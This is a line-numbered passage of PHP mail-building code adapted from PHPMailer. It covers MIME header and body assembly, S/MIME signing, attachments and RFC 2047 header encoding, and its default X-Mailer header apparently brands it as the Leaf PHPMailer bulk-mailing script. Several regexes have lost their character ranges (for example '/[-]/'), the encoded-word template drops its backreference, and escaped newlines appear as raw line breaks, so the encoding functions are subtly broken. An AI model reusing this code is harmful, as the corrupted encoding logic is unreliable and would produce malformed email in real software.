  1759. if (count($this->ReplyTo) > 0) {
  1760. $result.= $this->addrAppend('Reply-To', $this->ReplyTo);
  1761. }
  1762. // mail() sets the subject itself
  1763. if ($this->Mailer != 'mail') {
  1764. $result.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1765. }
  1766. if ($this->MessageID != '') {
  1767. $this->lastMessageID = $this->MessageID;
  1768. } else {
  1769. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  1770. }
  1771. $result.= $this->headerLine('Message-ID', $this->lastMessageID);
  1772. if (!is_null($this->Priority)) {
  1773. $result.= $this->headerLine('X-Priority', $this->Priority);
  1774. }
  1775. if ($this->XMailer == '') {
  1776. $result.= $this->headerLine('X-Mailer', 'Leaf PHPMailer 2.7 (leafmailer.pw)');
  1777. } else {
  1778. $myXmailer = trim($this->XMailer);
  1779. if ($myXmailer) {
  1780. $result.= $this->headerLine('X-Mailer', $myXmailer);
  1781. }
  1782. }
  1783. if ($this->ConfirmReadingTo != '') {
  1784. $result.= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  1785. }
  1786. // Add custom headers
  1787. foreach ($this->CustomHeader as $header) {
  1788. $result.= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1])));
  1789. }
  1790. if (!$this->sign_key_file) {
  1791. $result.= $this->headerLine('MIME-Version', '1.0');
  1792. $result.= $this->getMailMIME();
  1793. }
  1794. return $result;
  1795. }
  1796. /**
  1797. * Get the message MIME type headers.
  1798. * @access public
  1799. * @return string
  1800. */
  1801. public function getMailMIME() {
  1802. $result = '';
  1803. $ismultipart = true;
  1804. switch ($this->message_type) {
  1805. case 'inline':
  1806. $result.= $this->headerLine('Content-Type', 'multipart/related;');
  1807. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1808. break;
  1809. case 'attach':
  1810. case 'inline_attach':
  1811. case 'alt_attach':
  1812. case 'alt_inline_attach':
  1813. $result.= $this->headerLine('Content-Type', 'multipart/mixed;');
  1814. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1815. break;
  1816. case 'alt':
  1817. case 'alt_inline':
  1818. $result.= $this->headerLine('Content-Type', 'multipart/alternative;');
  1819. $result.= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
  1820. break;
  1821. default:
  1822. // Catches case 'plain': and case '':
  1823. $result.= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1824. $ismultipart = false;
  1825. break;
  1826. }
  1827. // RFC1341 part 5 says 7bit is assumed if not specified
  1828. if ($this->Encoding != '7bit') {
  1829. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1830. if ($ismultipart) {
  1831. if ($this->Encoding == '8bit') {
  1832. $result.= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1833. }
  1834. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1835.  
  1836. } else {
  1837. $result.= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1838. }
  1839. }
  1840. if ($this->Mailer != 'mail') {
  1841. $result.= $this->LE;
  1842. }
  1843. return $result;
  1844. }
  1845. /**
  1846. * Returns the whole MIME message.
  1847. * Includes complete headers and body.
  1848. * Only valid post preSend().
  1849. * @see PHPMailer::preSend()
  1850. * @access public
  1851. * @return string
  1852. */
  1853. public function getSentMIMEMessage() {
  1854. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1855. }
  1856. /**
  1857. * Assemble the message body.
  1858. * Returns an empty string on failure.
  1859. * @access public
  1860. * @throws phpmailerException
  1861. * @return string The assembled message body
  1862. */
  1863. public function createBody() {
  1864. $body = '';
  1865. //Create unique IDs and preset boundaries
  1866. $this->uniqueid = md5(uniqid(time()));
  1867. $this->boundary[1] = 'b1_' . $this->uniqueid;
  1868. $this->boundary[2] = 'b2_' . $this->uniqueid;
  1869. $this->boundary[3] = 'b3_' . $this->uniqueid;
  1870. if ($this->sign_key_file) {
  1871. $body.= $this->getMailMIME() . $this->LE;
  1872. }
  1873. $this->setWordWrap();
  1874. $bodyEncoding = $this->Encoding;
  1875. $bodyCharSet = $this->CharSet;
  1876. //Can we do a 7-bit downgrade?
  1877. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1878. $bodyEncoding = '7bit';
  1879. $bodyCharSet = 'us-ascii';
  1880. }
  1881. //If lines are too long, and we're not already using an encoding that will shorten them,
  1882. //change to quoted-printable transfer encoding
  1883. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  1884. $this->Encoding = 'quoted-printable';
  1885. $bodyEncoding = 'quoted-printable';
  1886. }
  1887. $altBodyEncoding = $this->Encoding;
  1888. $altBodyCharSet = $this->CharSet;
  1889. //Can we do a 7-bit downgrade?
  1890. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1891. $altBodyEncoding = '7bit';
  1892. $altBodyCharSet = 'us-ascii';
  1893. }
  1894. //If lines are too long, and we're not already using an encoding that will shorten them,
  1895. //change to quoted-printable transfer encoding
  1896. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  1897. $altBodyEncoding = 'quoted-printable';
  1898. }
  1899. //Use this as a preamble in all multipart message types
  1900. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  1901. switch ($this->message_type) {
  1902. case 'inline':
  1903. $body.= $mimepre;
  1904. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1905. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1906. $body.= $this->LE . $this->LE;
  1907. $body.= $this->attachAll('inline', $this->boundary[1]);
  1908. break;
  1909. case 'attach':
  1910. $body.= $mimepre;
  1911. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1912. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1913. $body.= $this->LE . $this->LE;
  1914. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1915. break;
  1916. case 'inline_attach':
  1917. $body.= $mimepre;
  1918. $body.= $this->textLine('--' . $this->boundary[1]);
  1919. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  1920. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1921. $body.= $this->LE;
  1922. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1923. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1924. $body.= $this->LE . $this->LE;
  1925. $body.= $this->attachAll('inline', $this->boundary[2]);
  1926. $body.= $this->LE;
  1927. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1928. break;
  1929. case 'alt':
  1930. $body.= $mimepre;
  1931. $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1932. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1933. $body.= $this->LE . $this->LE;
  1934. $body.= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1935. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1936. $body.= $this->LE . $this->LE;
  1937. if (!empty($this->Ical)) {
  1938. $body.= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1939. $body.= $this->encodeString($this->Ical, $this->Encoding);
  1940. $body.= $this->LE . $this->LE;
  1941. }
  1942. $body.= $this->endBoundary($this->boundary[1]);
  1943. break;
  1944. case 'alt_inline':
  1945. $body.= $mimepre;
  1946. $body.= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1947. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1948. $body.= $this->LE . $this->LE;
  1949. $body.= $this->textLine('--' . $this->boundary[1]);
  1950. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  1951. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1952. $body.= $this->LE;
  1953. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1954. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1955. $body.= $this->LE . $this->LE;
  1956. $body.= $this->attachAll('inline', $this->boundary[2]);
  1957. $body.= $this->LE;
  1958. $body.= $this->endBoundary($this->boundary[1]);
  1959. break;
  1960. case 'alt_attach':
  1961. $body.= $mimepre;
  1962. $body.= $this->textLine('--' . $this->boundary[1]);
  1963. $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
  1964. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1965. $body.= $this->LE;
  1966. $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1967. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1968. $body.= $this->LE . $this->LE;
  1969. $body.= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1970. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1971. $body.= $this->LE . $this->LE;
  1972. $body.= $this->endBoundary($this->boundary[2]);
  1973. $body.= $this->LE;
  1974. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1975. break;
  1976. case 'alt_inline_attach':
  1977. $body.= $mimepre;
  1978. $body.= $this->textLine('--' . $this->boundary[1]);
  1979. $body.= $this->headerLine('Content-Type', 'multipart/alternative;');
  1980. $body.= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
  1981. $body.= $this->LE;
  1982. $body.= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1983. $body.= $this->encodeString($this->AltBody, $altBodyEncoding);
  1984. $body.= $this->LE . $this->LE;
  1985. $body.= $this->textLine('--' . $this->boundary[2]);
  1986. $body.= $this->headerLine('Content-Type', 'multipart/related;');
  1987. $body.= $this->textLine(" boundary=\"" . $this->boundary[3] . '"');
  1988. $body.= $this->LE;
  1989. $body.= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1990. $body.= $this->encodeString($this->Body, $bodyEncoding);
  1991. $body.= $this->LE . $this->LE;
  1992. $body.= $this->attachAll('inline', $this->boundary[3]);
  1993. $body.= $this->LE;
  1994. $body.= $this->endBoundary($this->boundary[2]);
  1995. $body.= $this->LE;
  1996. $body.= $this->attachAll('attachment', $this->boundary[1]);
  1997. break;
  1998. default:
  1999. // catch case 'plain' and case ''
  2000. $body.= $this->encodeString($this->Body, $bodyEncoding);
  2001. break;
  2002. }
  2003. if ($this->isError()) {
  2004. $body = '';
  2005. } elseif ($this->sign_key_file) {
  2006. try {
  2007. if (!defined('PKCS7_TEXT')) {
  2008. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2009. }
  2010. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2011. $file = tempnam(sys_get_temp_dir(), 'mail');
  2012. if (false === file_put_contents($file, $body)) {
  2013. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2014. }
  2015. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2016. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2017. if (empty($this->sign_extracerts_file)) {
  2018. $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null);
  2019. } else {
  2020. $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file);
  2021. }
  2022. if ($sign) {
  2023. @unlink($file);
  2024. $body = file_get_contents($signed);
  2025. @unlink($signed);
  2026. //The message returned by openssl contains both headers and body, so need to split them up
  2027. $parts = explode("
  2028.  
  2029. ", $body, 2);
  2030. $this->MIMEHeader.= $parts[0] . $this->LE . $this->LE;
  2031. $body = $parts[1];
  2032. } else {
  2033. @unlink($file);
  2034. @unlink($signed);
  2035. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2036. }
  2037. }
  2038. catch(phpmailerException $exc) {
  2039. $body = '';
  2040. if ($this->exceptions) {
  2041. throw $exc;
  2042. }
  2043. }
  2044. }
  2045. return $body;
  2046. }
  2047. /**
  2048. * Return the start of a message boundary.
  2049. * @access protected
  2050. * @param string $boundary
  2051. * @param string $charSet
  2052. * @param string $contentType
  2053. * @param string $encoding
  2054. * @return string
  2055. */
  2056. protected function getBoundary($boundary, $charSet, $contentType, $encoding) {
  2057. $result = '';
  2058. if ($charSet == '') {
  2059. $charSet = $this->CharSet;
  2060. }
  2061. if ($contentType == '') {
  2062. $contentType = $this->ContentType;
  2063. }
  2064. if ($encoding == '') {
  2065. $encoding = $this->Encoding;
  2066. }
  2067. $result.= $this->textLine('--' . $boundary);
  2068. $result.= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2069. $result.= $this->LE;
  2070. // RFC1341 part 5 says 7bit is assumed if not specified
  2071. if ($encoding != '7bit') {
  2072. $result.= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2073. }
  2074. $result.= $this->LE;
  2075. return $result;
  2076. }
  2077. /**
  2078. * Return the end of a message boundary.
  2079. * @access protected
  2080. * @param string $boundary
  2081. * @return string
  2082. */
  2083. protected function endBoundary($boundary) {
  2084. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2085. }
  2086. /**
  2087. * Set the message type.
  2088. * PHPMailer only supports some preset message types,
  2089. * not arbitrary MIME structures.
  2090. * @access protected
  2091. * @return void
  2092. */
  2093. protected function setMessageType() {
  2094. $type = array();
  2095. if ($this->alternativeExists()) {
  2096. $type[] = 'alt';
  2097. }
  2098. if ($this->inlineImageExists()) {
  2099. $type[] = 'inline';
  2100. }
  2101. if ($this->attachmentExists()) {
  2102. $type[] = 'attach';
  2103. }
  2104. $this->message_type = implode('_', $type);
  2105. if ($this->message_type == '') {
  2106. $this->message_type = 'plain';
  2107. }
  2108. }
  2109. /**
  2110. * Format a header line.
  2111. * @access public
  2112. * @param string $name
  2113. * @param string $value
  2114. * @return string
  2115. */
  2116. public function headerLine($name, $value) {
  2117. return $name . ': ' . $value . $this->LE;
  2118. }
  2119. /**
  2120. * Return a formatted mail line.
  2121. * @access public
  2122. * @param string $value
  2123. * @return string
  2124. */
  2125. public function textLine($value) {
  2126. return $value . $this->LE;
  2127. }
  2128. /**
  2129. * Add an attachment from a path on the filesystem.
  2130. * Returns false if the file could not be found or read.
  2131. * @param string $path Path to the attachment.
  2132. * @param string $name Overrides the attachment name.
  2133. * @param string $encoding File encoding (see $Encoding).
  2134. * @param string $type File extension (MIME) type.
  2135. * @param string $disposition Disposition to use
  2136. * @throws phpmailerException
  2137. * @return boolean
  2138. */
  2139. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') {
  2140. try {
  2141. if (!@is_file($path)) {
  2142. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2143. }
  2144. // If a MIME type is not specified, try to work it out from the file name
  2145. if ($type == '') {
  2146. $type = self::filenameToType($path);
  2147. }
  2148. $filename = basename($path);
  2149. if ($name == '') {
  2150. $name = $filename;
  2151. }
  2152. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
  2153. 6 => $disposition, 7 => 0);
  2154. }
  2155. catch(phpmailerException $exc) {
  2156. $this->setError($exc->getMessage());
  2157. $this->edebug($exc->getMessage());
  2158. if ($this->exceptions) {
  2159. throw $exc;
  2160. }
  2161. return false;
  2162. }
  2163. return true;
  2164. }
  2165. /**
  2166. * Return the array of attachments.
  2167. * @return array
  2168. */
  2169. public function getAttachments() {
  2170. return $this->attachment;
  2171. }
  2172. /**
  2173. * Attach all file, string, and binary attachments to the message.
  2174. * Returns an empty string on failure.
  2175. * @access protected
  2176. * @param string $disposition_type
  2177. * @param string $boundary
  2178. * @return string
  2179. */
  2180. protected function attachAll($disposition_type, $boundary) {
  2181. // Return text of body
  2182. $mime = array();
  2183. $cidUniq = array();
  2184. $incl = array();
  2185. // Add all attachments
  2186. foreach ($this->attachment as $attachment) {
  2187. // Check if it is a valid disposition_filter
  2188. if ($attachment[6] == $disposition_type) {
  2189. // Check for string attachment
  2190. $string = '';
  2191. $path = '';
  2192. $bString = $attachment[5];
  2193. if ($bString) {
  2194. $string = $attachment[0];
  2195. } else {
  2196. $path = $attachment[0];
  2197. }
  2198. $inclhash = md5(serialize($attachment));
  2199. if (in_array($inclhash, $incl)) {
  2200. continue;
  2201. }
  2202. $incl[] = $inclhash;
  2203. $name = $attachment[2];
  2204. $encoding = $attachment[3];
  2205. $type = $attachment[4];
  2206. $disposition = $attachment[6];
  2207. $cid = $attachment[7];
  2208. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2209. continue;
  2210. }
  2211. $cidUniq[$cid] = true;
  2212. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2213. //Only include a filename property if we have one
  2214. if (!empty($name)) {
  2215. $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
  2216. } else {
  2217. $mime[] = sprintf('Content-Type: %s%s', $type, $this->LE);
  2218. }
  2219. // RFC1341 part 5 says 7bit is assumed if not specified
  2220. if ($encoding != '7bit') {
  2221. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2222. }
  2223. if ($disposition == 'inline') {
  2224. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2225. }
  2226. // If a filename contains any of these chars, it should be quoted,
  2227. // but not otherwise: RFC2183 & RFC2045 5.1
  2228. // Fixes a warning in IETF's msglint MIME checker
  2229. // Allow for bypassing the Content-Disposition header totally
  2230. if (!(empty($disposition))) {
  2231. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2232. if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
  2233. $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE);
  2234. } else {
  2235. if (!empty($encoded_name)) {
  2236. $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE);
  2237. } else {
  2238. $mime[] = sprintf('Content-Disposition: %s%s', $disposition, $this->LE . $this->LE);
  2239. }
  2240. }
  2241. } else {
  2242. $mime[] = $this->LE;
  2243. }
  2244. // Encode as string attachment
  2245. if ($bString) {
  2246. $mime[] = $this->encodeString($string, $encoding);
  2247. if ($this->isError()) {
  2248. return '';
  2249. }
  2250. $mime[] = $this->LE . $this->LE;
  2251. } else {
  2252. $mime[] = $this->encodeFile($path, $encoding);
  2253. if ($this->isError()) {
  2254. return '';
  2255. }
  2256. $mime[] = $this->LE . $this->LE;
  2257. }
  2258. }
  2259. }
  2260. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2261. return implode('', $mime);
  2262. }
  2263. /**
  2264. * Encode a file attachment in requested format.
  2265. * Returns an empty string on failure.
  2266. * @param string $path The full path to the file
  2267. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2268. * @throws phpmailerException
  2269. * @access protected
  2270. * @return string
  2271. */
  2272. protected function encodeFile($path, $encoding = 'base64') {
  2273. try {
  2274. if (!is_readable($path)) {
  2275. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2276. }
  2277. $magic_quotes = get_magic_quotes_runtime();
  2278. if ($magic_quotes) {
  2279. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2280. set_magic_quotes_runtime(false);
  2281. } else {
  2282. //Doesn't exist in PHP 5.4, but we don't need to check because
  2283. //get_magic_quotes_runtime always returns false in 5.4+
  2284. //so it will never get here
  2285. ini_set('magic_quotes_runtime', false);
  2286. }
  2287. }
  2288. $file_buffer = file_get_contents($path);
  2289. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2290. if ($magic_quotes) {
  2291. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2292. set_magic_quotes_runtime($magic_quotes);
  2293. } else {
  2294. ini_set('magic_quotes_runtime', $magic_quotes);
  2295. }
  2296. }
  2297. return $file_buffer;
  2298. }
  2299. catch(Exception $exc) {
  2300. $this->setError($exc->getMessage());
  2301. return '';
  2302. }
  2303. }
  2304. /**
  2305. * Encode a string in requested format.
  2306. * Returns an empty string on failure.
  2307. * @param string $str The text to encode
  2308. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2309. * @access public
  2310. * @return string
  2311. */
  2312. public function encodeString($str, $encoding = 'base64') {
  2313. $encoded = '';
  2314. switch (strtolower($encoding)) {
  2315. case 'base64':
  2316. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2317. break;
  2318. case '7bit':
  2319. case '8bit':
  2320. $encoded = $this->fixEOL($str);
  2321. // Make sure it ends with a line break
  2322. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2323. $encoded.= $this->LE;
  2324. }
  2325. break;
  2326. case 'binary':
  2327. $encoded = $str;
  2328. break;
  2329. case 'quoted-printable':
  2330. $encoded = $this->encodeQP($str);
  2331. break;
  2332. default:
  2333. $this->setError($this->lang('encoding') . $encoding);
  2334. break;
  2335. }
  2336. return $encoded;
  2337. }
  2338. /**
  2339. * Encode a header string optimally.
  2340. * Picks shortest of Q, B, quoted-printable or none.
  2341. * @access public
  2342. * @param string $str
  2343. * @param string $position
  2344. * @return string
  2345. */
  2346. public function encodeHeader($str, $position = 'text') {
  2347. $matchcount = 0;
  2348. switch (strtolower($position)) {
  2349. case 'phrase':
  2350. if (!preg_match('/[-]/', $str)) {
  2351. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2352. $encoded = addcslashes($str, "..\"");
  2353. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2354. return ($encoded);
  2355. } else {
  2356. return ("\"$encoded\"");
  2357. }
  2358. }
  2359. $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
  2360. break;
  2361. /** @noinspection PhpMissingBreakStatementInspection */
  2362. case 'comment':
  2363. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2364. // Intentional fall-through
  2365.  
  2366. case 'text':
  2367. default:
  2368. $matchcount+= preg_match_all('/[- --]/', $str, $matches);
  2369. break;
  2370. }
  2371. //There are no chars that need encoding
  2372. if ($matchcount == 0) {
  2373. return ($str);
  2374. }
  2375. $maxlen = 75 - 7 - strlen($this->CharSet);
  2376. // Try to select the encoding which should produce the shortest output
  2377. if ($matchcount > strlen($str) / 3) {
  2378. // More than a third of the content will need encoding, so B encoding will be most efficient
  2379. $encoding = 'B';
  2380. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2381. // Use a custom function which correctly encodes and wraps long $subject
  2382. // multibyte strings without breaking lines within a character
  2383. $encoded = $this->base64EncodeWrapMB($str, "
  2384. ");
  2385. } else {
  2386. $encoded = base64_encode($str);
  2387. $maxlen-= $maxlen % 4;
  2388. $encoded = trim(chunk_split($encoded, $maxlen, "
  2389. "));
  2390. }
  2391. } else {
  2392. $encoding = 'Q';
  2393. $encoded = $this->encodeQ($str, $position);
  2394. $encoded = $this->wrapText($encoded, $maxlen, true);
  2395. $encoded = str_replace('=' . self::CRLF, "
  2396. ", trim($encoded));
  2397. }
  2398. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
  2399. $encoded = trim(str_replace("
  2400. ", $this->LE, $encoded));
  2401. return $encoded;
  2402. }
  2403. /**
  2404. * Check if a string contains multi-byte characters.
  2405. * @access public subject
  2406. * @param string $str multi-byte text to wrap encode
  2407. * @return boolean
  2408. */
  2409. public function hasMultiBytes($str) {
  2410. if (function_exists('mb_strlen')) {
  2411. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2412. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2413. return false;
  2414. }
  2415. }
  2416. /**
  2417. * Does a string contain any 8-bit chars (in any charset)?
  2418. * @param string $text
  2419. * @return boolean
  2420. */
  2421. public function has8bitChars($text) {
  2422. return (boolean)preg_match('/[-]/', $text);
  2423. }
  2424. /**
  2425. * Encode and wrap long multibyte strings for mail headers
  2426. * without breaking lines within a character.
  2427. * Adapted from a function by paravoid
  2428. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2429. * @access public
  2430. * @param string $str multi-byte text to wrap encode
  2431. * @param string $linebreak string to use as linefeed/end-of-line
  2432. * @return string
  2433. */
  2434. public function base64EncodeWrapMB($str, $linebreak = null) {
  2435. $start = '=?' . $this->CharSet . '?B?';
  2436. $end = '?=';
  2437. $encoded = '';
  2438. if ($linebreak === null) {
  2439. $linebreak = $this->LE;
  2440. }
  2441. $mb_length = mb_strlen($str, $this->CharSet);
  2442. // Each line must have length <= 75, including $start and $end
  2443. $length = 75 - strlen($start) - strlen($end);
  2444. // Average multi-byte ratio
  2445. $ratio = $mb_length / strlen($str);
  2446. // Base64 has a 4:3 ratio
  2447. $avgLength = floor($length * $ratio * .75);
  2448. for ($i = 0;$i < $mb_length;$i+= $offset) {
  2449. $lookBack = 0;
  2450. do {
  2451. $offset = $avgLength - $lookBack;
  2452. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2453. $chunk = base64_encode($chunk);
  2454. $lookBack++;
  2455. } while (strlen($chunk) > $length);
  2456. $encoded.= $chunk . $linebreak;
  2457. }
  2458. // Chomp the last linefeed
  2459. $encoded = substr($encoded, 0, -strlen($linebreak));
  2460. return $encoded;
  2461. }
  2462. /**
  2463. * Encode a string in quoted-printable format.
  2464. * According to RFC2045 section 6.7.
  2465. * @access public
  2466. * @param string $string The text to encode
  2467. * @param integer $line_max Number of chars allowed on a line before wrapping
  2468. * @return string
  2469. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2470. */
  2471. public function encodeQP($string, $line_max = 76) {
  2472. // Use native function if it's available (>= PHP5.3)
  2473. if (function_exists('quoted_printable_encode')) {
  2474. return quoted_printable_encode($string);
  2475. }
  2476. // Fall back to a pure PHP implementation
  2477. $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
  2478. =2E", "
  2479. ", '='), rawurlencode($string));
  2480. return preg_replace('/[^
  2481. ]{' . ($line_max - 3) . '}[^=
  2482. ]{2}/', "$0=
  2483. ", $string);
  2484. }
  2485. /**
  2486. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2487. * @see PHPMailer::encodeQP()
  2488. * @access public
  2489. * @param string $string
  2490. * @param integer $line_max
  2491. * @param boolean $space_conv
  2492. * @return string
  2493. * @deprecated Use encodeQP instead.
  2494. */
  2495. public function encodeQPphp($string, $line_max = 76,
  2496. /** @noinspection PhpUnusedParameterInspection */
  2497. $space_conv = false) {
  2498. return $this->encodeQP($string, $line_max);
  2499. }
  2500. /**
  2501. * Encode a string using Q encoding.
  2502. * @link http://tools.ietf.org/html/rfc2047
  2503. * @param string $str the text to encode
  2504. * @param string $position Where the text is going to be used, see the RFC for what that means
  2505. * @access public
  2506. * @return string
  2507. */
  2508. public function encodeQ($str, $position = 'text') {
  2509. // There should not be any EOL in the string
  2510. $pattern = '';
  2511. $encoded = str_replace(array("
  2512. ", "
  2513. "), '', $str);
  2514. switch (strtolower($position)) {
  2515. case 'phrase':
  2516. // RFC 2047 section 5.3
  2517. $pattern = '^A-Za-z0-9!*+\/ -';
  2518. break;
  2519. /** @noinspection PhpMissingBreakStatementInspection */
  2520. case 'comment':
  2521. // RFC 2047 section 5.2
  2522. $pattern = '\(\)"';
  2523. // intentional fall-through
  2524. // for this reason we build the $pattern without including delimiters and []
  2525.  
  2526. case 'text':
  2527. default:
  2528. // RFC 2047 section 5.1
  2529. // Replace every high ascii, control, =, ? and _ characters
  2530. $pattern = '- -=?_-' . $pattern;
  2531. break;
  2532. }
  2533. $matches = array();
  2534. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2535. // If the string contains an '=', make sure it's the first thing we replace
  2536. // so as to avoid double-encoding
  2537. $eqkey = array_search('=', $matches[0]);
  2538. if (false !== $eqkey) {
  2539. unset($matches[0][$eqkey]);
  2540. array_unshift($matches[0], '=');
  2541. }
  2542. foreach (array_unique($matches[0]) as $char) {
  2543. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2544. }
  2545. }
  2546. // Replace every spaces to _ (more readable than =20)
  2547. return str_replace(' ', '_', $encoded);
  2548. }
  2549. /**
  2550. * Add a string or binary attachment (non-filesystem).
  2551. * This method can be used to attach ascii or binary data,
  2552. * such as a BLOB record from a database.
  2553. * @param string $string String attachment data.
  2554. * @param string $filename Name of the attachment.
  2555. * @param string $encoding File encoding (see $Encoding).
  2556. * @param string $type File extension (MIME) type.
  2557. * @param string $disposition Disposition to use
  2558. * @return void
  2559. */
  2560. public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment') {
  2561. // If a MIME type is not specified, try to work it out from the file name
  2562. if ($type == '') {
  2563. $type = self::filenameToType($filename);
  2564. }
  2565. // Append to $attachment array
  2566. $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
  2567. 6 => $disposition, 7 => 0);
  2568. }
  2569. /**
  2570. * Add an embedded (inline) attachment from a file.
  2571. * This can include images, sounds, and just about any other document type.
  2572. * These differ from 'regular' attachments in that they are intended to be
  2573. * displayed inline with the message, not just attached for download.
  2574. * This is used in HTML messages that embed the images
